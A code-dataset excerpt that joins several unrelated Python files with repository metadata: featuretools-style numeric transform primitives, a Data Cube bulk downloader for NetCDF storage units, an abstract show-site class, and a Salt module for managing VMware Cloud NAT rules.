str(self.value)) class SubtractNumeric(TransformPrimitive): name = "subtract_numeric" input_types = [Numeric, Numeric] return_type = Numeric commutative = True def get_function(self): return np.subtract def generate_name(self, base_feature_names): return "%s - %s" % (base_feature_names[0], base_feature_names[1]) class SubtractNumericScalar(TransformPrimitive): name = "subtract_numeric_scalar" input_types = [Numeric] return_type = Numeric def __init__(self, value=0): self.value = value def get_function(self): def subtract_scalar(vals): return vals - self.value return subtract_scalar def generate_name(self, base_feature_names): return "%s - %s" % (base_feature_names[0], str(self.value)) class ScalarSubtractNumericFeature(TransformPrimitive): name = "scalar_subtract_numeric_feature" input_types = [Numeric] return_type = Numeric def __init__(self, value=0): self.value = value def get_function(self): def scalar_subtract_numeric_feature(vals): return self.value - vals return scalar_subtract_numeric_feature def generate_name(self, base_feature_names): return "%s - %s" % (str(self.value), base_feature_names[0]) class MultiplyNumeric(TransformPrimitive): name = "multiply_numeric" input_types = [Numeric, Numeric] return_type = Numeric commutative = True def get_function(self): return np.multiply def generate_name(self, base_feature_names): return "%s * %s" % (base_feature_names[0], base_feature_names[1]) class MultiplyNumericScalar(TransformPrimitive): name = "multiply_numeric_scalar" input_types = [Numeric] return_type = Numeric def __init__(self, value=1): self.value = value def get_function(self): def multiply_scalar(vals): return vals * self.value return multiply_scalar def generate_name(self, base_feature_names): return "%s * %s" % (base_feature_names[0], str(self.value)) class DivideNumeric(TransformPrimitive): name = "divide_numeric" input_types = [Numeric, Numeric] return_type = Numeric def get_function(self): return np.divide def generate_name(self, base_feature_names): return "%s / %s" % (base_feature_names[0], base_feature_names[1]) class DivideNumericScalar(TransformPrimitive): name = "divide_numeric_scalar" input_types = [Numeric] return_type = Numeric def __init__(self, value=1): self.value = value def get_function(self): def divide_scalar(vals): return vals / self.value return divide_scalar def generate_name(self, base_feature_names): return "%s / %s" % (base_feature_names[0], str(self.value)) class DivideByFeature(TransformPrimitive): name = "divide_by_feature" input_types = [Numeric] return_type = Numeric def __init__(self, value=1): self.value = value def get_function(self): def divide_by_feature(vals): return self.value / vals return divide_by_feature def generate_name(self, base_feature_names): return "%s / %s" % (str(self.value), base_feature_names[0]) class ModuloNumeric(TransformPrimitive): name = "modulo_numeric" input_types = [Numeric, Numeric] return_type = Numeric def get_function(self): return np.mod def generate_name(self, base_feature_names): return "%s %% %s" % (base_feature_names[0], base_feature_names[1]) class ModuloNumericScalar(TransformPrimitive): name = "modulo_numeric" input_types = [Numeric] return_type = Numeric def __init__(self, value=1): self.value = value def get_function(self): def modulo_scalar(vals): return vals % self.value return modulo_scalar def generate_name(self, base_feature_names): return "%s %% %s" % (base_feature_names[0], str(self.value)) class And(TransformPrimitive): name = "and" input_types = [Boolean, Boolean] return_type = Boolean commutative = True def get_function(self): return np.logical_and def generate_name(self, base_feature_names): return "AND(%s, %s)" % (base_feature_names[0], base_feature_names[1]) class Or(TransformPrimitive): name = "or" input_types = [Boolean, Boolean] return_type = Boolean commutative = True def get_function(self): return np.logical_or def generate_name(self, base_feature_names): return "OR(%s, %s)" % (base_feature_names[0], base_feature_names[1])

27.516049

86

0.671572

1,359

11,144

5.222222

0.066961

0.100747

0.146541

0.065943

0.821615

0.806115

0.762435

0.750881

0

0.005809

0.227566

11,144

404

87

27.584158

0.818657

0.027728

0

0.5

0

0.056335

0.015885

0

1

0.280576

false

0

0.017986

0.18705

0.931655

0

null

0

1

0

null

0

1

0

1

0

9

58c3e8dc57b6d286110f3909268ea893dcd349ff

15,973

py

Python

apps/data_cube_manager/templates/bulk_downloader_result.py

pinkerltm/datacube-ui

325d404a994d49c23922e7de10c7ab244b78500b

[ "Apache-2.0" ]

1

2019-07-22T05:24:40.000Z

apps/data_cube_manager/templates/bulk_downloader_result.py

SivaramakrishnanKN/NE-GeoCloud

affcae49e0ccd7d29360a2771a9517147ed56590

[ "Apache-2.0" ]

1

2019-06-06T18:31:29.000Z

apps/data_cube_manager/templates/bulk_downloader_result.py

SivaramakrishnanKN/NE-GeoCloud

affcae49e0ccd7d29360a2771a9517147ed56590

[ "Apache-2.0" ]

5

2019-06-05T07:26:13.000Z

2019-06-08T06:53:11.000Z

import sys import os, os.path import tempfile, shutil import time from urllib.request import Request, urlopen from urllib.error import HTTPError, URLError from io import StringIO try: import datacube except: print("Error importing the Data Cube. Please ensure that your environment has the Data Cube installed.") print("If you do not have the Data Cube installed, please do so by following the instructions at: ") print("https://github.com/ceos-seo/data_cube_ui/blob/master/docs/datacube_install.md") exit(1) files = [ "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150731092402000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150221092302000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20151222092532000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20151222092532000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150613092352000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150512092340000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20151206092516000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20151003092412000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150426092332000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20151120092503000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150104092248000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150410092326000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20151019092432000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150816092406000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150715092400000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150426092332000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150613092352000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150901092405000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150731092402000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20151222092532000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20151104092445000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150410092326000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150613092352000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20151104092445000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150528092344000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150120092248000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150528092344000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20151003092412000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150715092400000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20151120092503000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20151120092503000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20151206092516000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150120092248000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20151104092445000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20151206092516000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150715092400000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20151019092432000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20151120092503000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150426092332000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150221092302000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150901092405000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150309092308000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20151003092412000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150221092302000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150120092248000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20151222092532000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150221092302000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150325092318000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20151019092432000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150325092318000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150731092402000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20151003092412000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20151019092432000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20151120092503000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150104092248000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150104092248000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150104092248000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150731092402000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150410092326000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150816092406000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150426092332000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20151104092445000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150715092400000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150410092326000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150426092332000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20151003092412000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150104092248000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150325092318000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20151206092516000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150816092406000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150901092405000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150528092344000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150120092248000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150221092302000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150715092400000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20151206092516000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150715092400000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150512092340000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20151003092412000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150309092308000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150309092308000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150410092326000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150120092248000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150901092405000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150309092308000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150309092308000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150816092406000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150221092302000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150512092340000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20151104092445000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150512092340000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20151104092445000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150410092326000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20151222092532000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150731092402000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20151019092432000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20151019092432000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_46_20150613092352000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150613092352000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150613092352000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150325092318000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150120092248000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_47_45_20150901092405000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20151222092532000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150512092340000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150816092406000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150512092340000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_46_20150816092406000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20151206092516000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150528092344000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150426092332000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150104092248000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150528092344000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20151120092503000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150901092405000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_45_20150325092318000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150731092402000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150325092318000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_47_20150528092344000000.nc", "/datacube/ingested_data/localuser/SAMPLE_CUBE_4326_48_48_20150309092308000000.nc" ] database_dump_file = "/datacube/ingested_data/localuser/datacube_dump" base_host = "http://192.168.100.14/" base_data_path = "/datacube/ingested_data/localuser" def download_file(data_file, count, total): # see if we've already download this file if os.path.isfile(data_file): print("Storage unit {0} exists! Skipping download of {1}. ".format(os.path.basename(data_file), data_file)) return None # attempt https connection try: request = Request(base_host + data_file) response = urlopen(request) # seems to be working print("({0}/{1}) Downloading {2}".format(count, total, data_file)) # Open our local file for writing and build status bar tf = tempfile.NamedTemporaryFile(mode='w+b', delete=False) chunk_read(response, tf, report_hook=chunk_report) tempfile_name = tf.name tf.close() #handle errors except HTTPError as e: print("HTTP Error:", e.code, data_file) return False except URLError as e: print("URL Error:", e.reason, data_file) return False # Return the file size shutil.copy(tempfile_name, data_file) os.remove(tempfile_name) return os.path.getsize(data_file) # chunk_report taken from http://stackoverflow.com/questions/2028517/python-urllib2-progress-hook def chunk_report(bytes_so_far, chunk_size, total_size): percent = float(bytes_so_far) / total_size percent = round(percent * 100, 2) sys.stdout.write("Downloaded %d of %d bytes (%0.2f%%)\r" % (bytes_so_far, total_size, percent)) if bytes_so_far >= total_size: sys.stdout.write('\n') # chunk_read modified from http://stackoverflow.com/questions/2028517/python-urllib2-progress-hook def chunk_read(response, local_file, chunk_size=8192, report_hook=None): try: total_size = response.info().getheader('Content-Length').strip() except AttributeError: total_size = response.getheader('Content-Length').strip() total_size = int(total_size) bytes_so_far = 0 while 1: chunk = response.read(chunk_size) try: local_file.write(chunk) except TypeError: local_file.write(chunk.decode(local_file.encoding)) bytes_so_far += len(chunk) if not chunk: break if report_hook: report_hook(bytes_so_far, chunk_size, total_size) return bytes_so_far if __name__ == "__main__": # Make sure we can write it our current directory if os.access("/datacube", os.W_OK) is False: print("Data Cube root path is not writeable - please ensure that the path '/datacube' exists and is writeable.") exit(-1) try: os.makedirs(base_data_path) except: pass print("Starting data download. When complete, a list of instructions will be provided for the next steps.") # summary total_bytes = 0 total_time = 0 count = 0 success = [] failed = [] skipped = [] size = download_file(database_dump_file, 1, 1) for data_file in files: count += 1 start = time.time() size = download_file(data_file, count, len(files)) end = time.time() # stats: if size is None: skipped.append(data_file) elif size is not False: # Download was good! elapsed = end - start elapsed = 1.0 if elapsed < 1 else elapsed rate = (size / 1024**2) / elapsed print("Downloaded {0}b in {1:.2f}secs, Average Rate: {2:.2f}mb/sec".format(size, elapsed, rate)) # add up metrics total_bytes += size total_time += elapsed success.append({'file': data_file, 'size': size}) else: print("There was a problem downloading {0}".format(data_file)) failed.append(data_file) # Print summary: print("Download Summary") print("Successes: {0} files, {1} bytes ".format(len(success), total_bytes)) if len(failed) > 0: print("Failures: {0} files".format(len(failed))) if len(skipped) > 0: print(" Skipped: {0} files".format(len(skipped))) if len(success) > 0: print(" Average Rate: {0:.2f}mb/sec".format((total_bytes / 1024.0**2) / total_time)) print("Requirements:") print( " An initialized Data Cube database named 'datacube'. More info found at https://github.com/ceos-seo/data_cube_ui/blob/master/docs/datacube_install.md" ) print(" A database role named 'dc_user' that has read/write access to 'datacube'") print("Next steps:") print( " Import the newly created database dump by running 'psql -U dc_user datacube < {}'".format(database_dump_file)) print(" Verify the import by running 'datacube -v product list'. There should be two entries.")

55.655052

159

0.78376

2,058

15,973

5.682702

0.126336

0.166909

0.208636

0.302522

0.744335

0.738435

0.733989

0.729201

0.720222

0

0.24458

0.119201

15,973

286

160

55.84965

0.58668

0.029926

0

0.04661

0

0.016949

0.709432

0.625323

0

1

0.012712

false

0.004237

0.04661

0

0.080508

0.09322

0

null

0

1

0

1

0

1

0

1

null

0

10

58c9c2501498b30b471ec75271ca5364fb8df703

201

py

Python

src/show_site/ShowSite.py

shadow999/showdownloader

237ff682f32b0017498f64d5a1225af1fa299325

[ "Apache-2.0" ]

null

src/show_site/ShowSite.py

shadow999/showdownloader

237ff682f32b0017498f64d5a1225af1fa299325

[ "Apache-2.0" ]

null

src/show_site/ShowSite.py

shadow999/showdownloader

237ff682f32b0017498f64d5a1225af1fa299325

[ "Apache-2.0" ]

null

from abc import ABC, abstractmethod class ShowSite(ABC): @abstractmethod def get_download_link(self, search_string: str, episode_search_string: str, episode: int = None) -> str: pass

25.125

108

0.721393

26

201

5.384615

0.692308

0.242857

0.214286

0.314286

0

0.19403

201

7

109

28.714286

0.864198

0

1

0.2

false

0.2

0

0.6

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

450ecf8031bcf2ec196a25461a4d160f56847278

21,569

py

Python

src/saltext/vmware/modules/vmc_nat_rules.py

kdsalvy/salt-ext-modules-vmware-1

9fdc941692e4c526f575f33b2ce23c1470582934

[ "Apache-2.0" ]

10

2021-11-02T20:24:44.000Z

2022-03-11T05:54:27.000Z

src/saltext/vmware/modules/vmc_nat_rules.py

waynew/salt-ext-modules-vmware

9f693382772061676c846c850df6ff508b7f3a91

[ "Apache-2.0" ]

83

2021-10-01T15:13:02.000Z

2022-03-31T16:22:40.000Z

src/saltext/vmware/modules/vmc_nat_rules.py

waynew/salt-ext-modules-vmware

9f693382772061676c846c850df6ff508b7f3a91

[ "Apache-2.0" ]

15

2021-09-30T23:17:27.000Z

2022-03-23T06:54:22.000Z

""" Salt execution module for nat rules Provides methods to Create, Update, Read and Delete nat rules. """ import logging import os from saltext.vmware.utils import vmc_constants from saltext.vmware.utils import vmc_request from saltext.vmware.utils import vmc_templates log = logging.getLogger(__name__) __virtualname__ = "vmc_nat_rules" def __virtual__(): return __virtualname__ def _create_payload_for_nat_rule(rule_id, user_input): """ This function creates the payload based on the template and user input passed """ data = vmc_request.create_payload_for_request(vmc_templates.create_nat_rules, user_input) data["id"] = data["display_name"] = rule_id return data def get( hostname, refresh_key, authorization_host, org_id, sddc_id, tier1, nat, verify_ssl=True, cert=None, cursor=None, page_size=None, sort_by=None, sort_ascending=None, ): """ Retrieves nat rules for Given SDDC CLI Example: .. code-block:: bash salt vm_minion vmc_nat_rules.get hostname=nsxt-manager.local domain_id=mgw ... hostname The host name of NSX-T manager refresh_key refresh_key to get access token authorization_host hostname to get access token org_id org_id of the SDDC sddc_id sddc_id for which nat rules should be retrieved tier1 tier1 option are cgw and user defined tier1 nat nat option are USER verify_ssl (Optional) Option to enable/disable SSL verification. Enabled by default. If set to False, the certificate validation is skipped. cert (Optional) Path to the SSL certificate file to connect to NSX-T manager. The certificate can be retrieved from browser. cursor (Optional) Opaque cursor to be used for getting next page of records (supplied by current result page) page_size (Optional) Maximum number of results to return in this page. Default page size is 1000. sort_by (Optional) Field by which records are sorted sort_ascending (Optional) Boolean value to sort result in ascending order. Enabled by default. """ log.info("Retrieving nat rules for SDDC %s", sddc_id) api_url_base = vmc_request.set_base_url(hostname) api_url = ( "{base_url}vmc/reverse-proxy/api/orgs/{org_id}/sddcs/{sddc_id}/" "policy/api/v1/infra/tier-1s/{tier1}/nat/{nat}/nat-rules" ) api_url = api_url.format( base_url=api_url_base, org_id=org_id, sddc_id=sddc_id, tier1=tier1, nat=nat ) params = vmc_request._filter_kwargs( allowed_kwargs=["cursor", "page_size", "sort_ascending", "sort_by"], cursor=cursor, page_size=page_size, sort_by=sort_by, sort_ascending=sort_ascending, ) return vmc_request.call_api( method=vmc_constants.GET_REQUEST_METHOD, url=api_url, refresh_key=refresh_key, authorization_host=authorization_host, description="vmc_nat_rule.get", verify_ssl=verify_ssl, cert=cert, params=params, ) def get_by_id( hostname, refresh_key, authorization_host, org_id, sddc_id, tier1, nat, nat_rule, verify_ssl=True, cert=None, ): """ Retrieves specific nat rule for Given SDDC CLI Example: .. code-block:: bash salt vm_minion vmc_nat_rules.get_by_id hostname=nsxt-manager.local tier1=cgw ... hostname The host name of NSX-T manager refresh_key refresh_key to get access token authorization_host hostname to get access token org_id org_id of the SDDC sddc_id sddc_id for which nat rules should be retrieved tier1 tier1 option are cgw and user defined tier1 nat nat option are USER/default/Internal nat_rule id of specific nat rule verify_ssl (Optional) Option to enable/disable SSL verification. Enabled by default. If set to False, the certificate validation is skipped. cert (Optional) Path to the SSL certificate file to connect to NSX-T manager. The certificate can be retrieved from browser. """ log.info("Retrieving nat rule %s for SDDC %s", nat_rule, sddc_id) api_url_base = vmc_request.set_base_url(hostname) api_url = ( "{base_url}vmc/reverse-proxy/api/orgs/{org_id}/sddcs/{sddc_id}/" "policy/api/v1/infra/tier-1s/{tier1}/nat/{nat}/nat-rules/{nat_rule}" ) api_url = api_url.format( base_url=api_url_base, org_id=org_id, sddc_id=sddc_id, tier1=tier1, nat=nat, nat_rule=nat_rule, ) return vmc_request.call_api( method=vmc_constants.GET_REQUEST_METHOD, url=api_url, refresh_key=refresh_key, authorization_host=authorization_host, description="vmc_nat_rule.get_by_id", verify_ssl=verify_ssl, cert=cert, ) def delete( hostname, refresh_key, authorization_host, org_id, sddc_id, tier1, nat, nat_rule, verify_ssl=True, cert=None, ): """ Delete nat rules for Given SDDC CLI Example: .. code-block:: bash salt vm_minion vmc_nat_rules.delete hostname=nsxt-manager.local tier1=cgw ... hostname The host name of NSX-T manager refresh_key refresh_key to get access token authorization_host hostname to get access token org_id org_id of the SDDC sddc_id sddc_id for which nat rules should be deleted tier1 tier1 option are cgw and user defined tier1 nat nat option are USER/default/Internal nat_rule id of specific nat rule verify_ssl (Optional) Option to enable/disable SSL verification. Enabled by default. If set to False, the certificate validation is skipped. cert (Optional) Path to the SSL certificate file to connect to NSX-T manager. The certificate can be retrieved from browser. """ log.info("Deleting nat rule %s for SDDC %s", nat_rule, sddc_id) api_url_base = vmc_request.set_base_url(hostname) api_url = ( "{base_url}vmc/reverse-proxy/api/orgs/{org_id}/sddcs/{sddc_id}/" "policy/api/v1/infra/tier-1s/{tier1}/nat/{nat}/nat-rules/{nat_rule}" ) api_url = api_url.format( base_url=api_url_base, org_id=org_id, sddc_id=sddc_id, tier1=tier1, nat=nat, nat_rule=nat_rule, ) return vmc_request.call_api( method=vmc_constants.DELETE_REQUEST_METHOD, url=api_url, refresh_key=refresh_key, authorization_host=authorization_host, description="vmc_nat_rule.delete", responsebody_applicable=False, verify_ssl=verify_ssl, cert=cert, ) def create( hostname, refresh_key, authorization_host, org_id, sddc_id, tier1, nat, nat_rule, verify_ssl=True, cert=None, action=None, destination_network=None, source_network=None, translated_network=None, translated_ports=vmc_constants.VMC_NONE, scope=None, service=None, enabled=None, firewall_match=None, logging=None, description=None, tags=vmc_constants.VMC_NONE, sequence_number=None, ): """ Create nat rules for Given SDDC CLI Example: .. code-block:: bash salt vm_minion vmc_nat_rules.create hostname=nsxt-manager.local tier1=cgw ... hostname The host name of NSX-T manager refresh_key refresh_key to get access token authorization_host hostname to get access token org_id org_id of the SDDC sddc_id sddc_id for which nat rules should be created tier1 tier1 option are cgw and user defined tier1 nat nat option are USER/default/Internal nat_rule id of specific nat rule verify_ssl (Optional) Option to enable/disable SSL verification. Enabled by default. If set to False, the certificate validation is skipped. cert (Optional) Path to the SSL certificate file to connect to NSX-T manager. The certificate can be retrieved from browser. action specify type of nat rule it can have value REFLEXIVE, DNAT REFLEXIVE nat rule require source_network translated_network service should be empty translated_ports should be None destination_network should be none DNAT Rule require destination_network translated_network translated_ports can be none service can be none source_network can be None or input network. destination_network Represents the destination network This supports single IP address or comma separated list of single IP addresses or CIDR. This does not support IP range or IP sets. source_network Represents the source network address This supports single IP address or comma separated list of single IP addresses or CIDR. This does not support IP range or IP sets. translated_network Represents the translated network address This supports single IP address or comma separated list of single IP addresses or CIDR. This does not support IP range or IP sets. translated_ports Port number or port range Please note, if there is service configured in this nat rule, the translated_port will be realized on NSX Manager as the destination_port. If there is no sevice configured, the port will be ignored. scope (Optional) Array of policy paths of labels, ProviderInterface, NetworkInterface If this value is not passed, then ["/infra/labels/cgw-public"] will be used by default. service (Optional) Represents the service on which the nat rule will be applied If this value is not passed, then empty string will be used by default. enabled (Optional) Policy nat rule enabled flag The flag, which suggests whether the nat rule is enabled or disabled. The default is True. firewall_match (Optional) Represents the firewall match flag It indicates how the firewall matches the address after nating if firewall stage is not skipped. possible values: MATCH_EXTERNAL_ADDRESS, MATCH_INTERNAL_ADDRESS Default: "MATCH_INTERNAL_ADDRESS" logging (Optional) Policy nat rule logging flag default: False description (Optional) Description of nat rule tags (Optional) Opaque identifiers meaningful to the API user. Maximum 30 tags can be associated: .. code-block:: tags='[ { "tag": "<tag-key-1>" "scope": "<tag-value-1>" }, { "tag": "<tag-key-2>" "scope": "<tag-value-2>" } ]' sequence_number (Optional) Sequence number of the nat rule The sequence_number decides the rule_priority of a nat rule. default: 0 type: int Example values: .. code-block:: { "action": "REFLEXIVE", "translated_network": "10.182.171.36", "translated_ports": null, "destination_network": "", "source_network": "192.168.1.23", "sequence_number": 0, "service": "", "logging": false, "enabled": false, "scope": [ "/infra/labels/cgw-public" ], "tags": [ { "tag": "tag1", "scope": "scope1" } ], "description": "", "firewall_match": "MATCH_INTERNAL_ADDRESS" } Please refer the `Nat Rule <https://developer.vmware.com/docs/nsx-vmc-policy/latest/data-structures/InlinePolicyNatRule1/>`_ to get insight of input parameters. """ log.info("Creating nat rule %s for SDDC %s ", nat_rule, sddc_id) api_url_base = vmc_request.set_base_url(hostname) api_url = ( "{base_url}vmc/reverse-proxy/api/orgs/{org_id}/sddcs/{sddc_id}/" "policy/api/v1/infra/tier-1s/{tier1}/nat/{nat}/nat-rules/{nat_rule}" ) api_url = api_url.format( base_url=api_url_base, org_id=org_id, sddc_id=sddc_id, tier1=tier1, nat=nat, nat_rule=nat_rule, ) allowed_dict = { "action": action, "description": description, "destination_network": destination_network, "scope": scope, "service": service, "source_network": source_network, "tags": tags, "translated_network": translated_network, "translated_ports": translated_ports, "enabled": enabled, "firewall_match": firewall_match, "logging": logging, "sequence_number": sequence_number, } req_data = vmc_request._filter_kwargs( allowed_kwargs=allowed_dict.keys(), allow_none=["translated_ports", "tags"], **allowed_dict ) data = _create_payload_for_nat_rule(nat_rule, req_data) return vmc_request.call_api( method=vmc_constants.PUT_REQUEST_METHOD, url=api_url, refresh_key=refresh_key, authorization_host=authorization_host, description="vmc_nat_rule.create", data=data, verify_ssl=verify_ssl, cert=cert, ) def update( hostname, refresh_key, authorization_host, org_id, sddc_id, tier1, nat, nat_rule, verify_ssl=True, cert=None, action=None, destination_network=None, source_network=None, translated_network=None, translated_ports=vmc_constants.VMC_NONE, scope=None, service=None, enabled=None, firewall_match=None, logging=None, 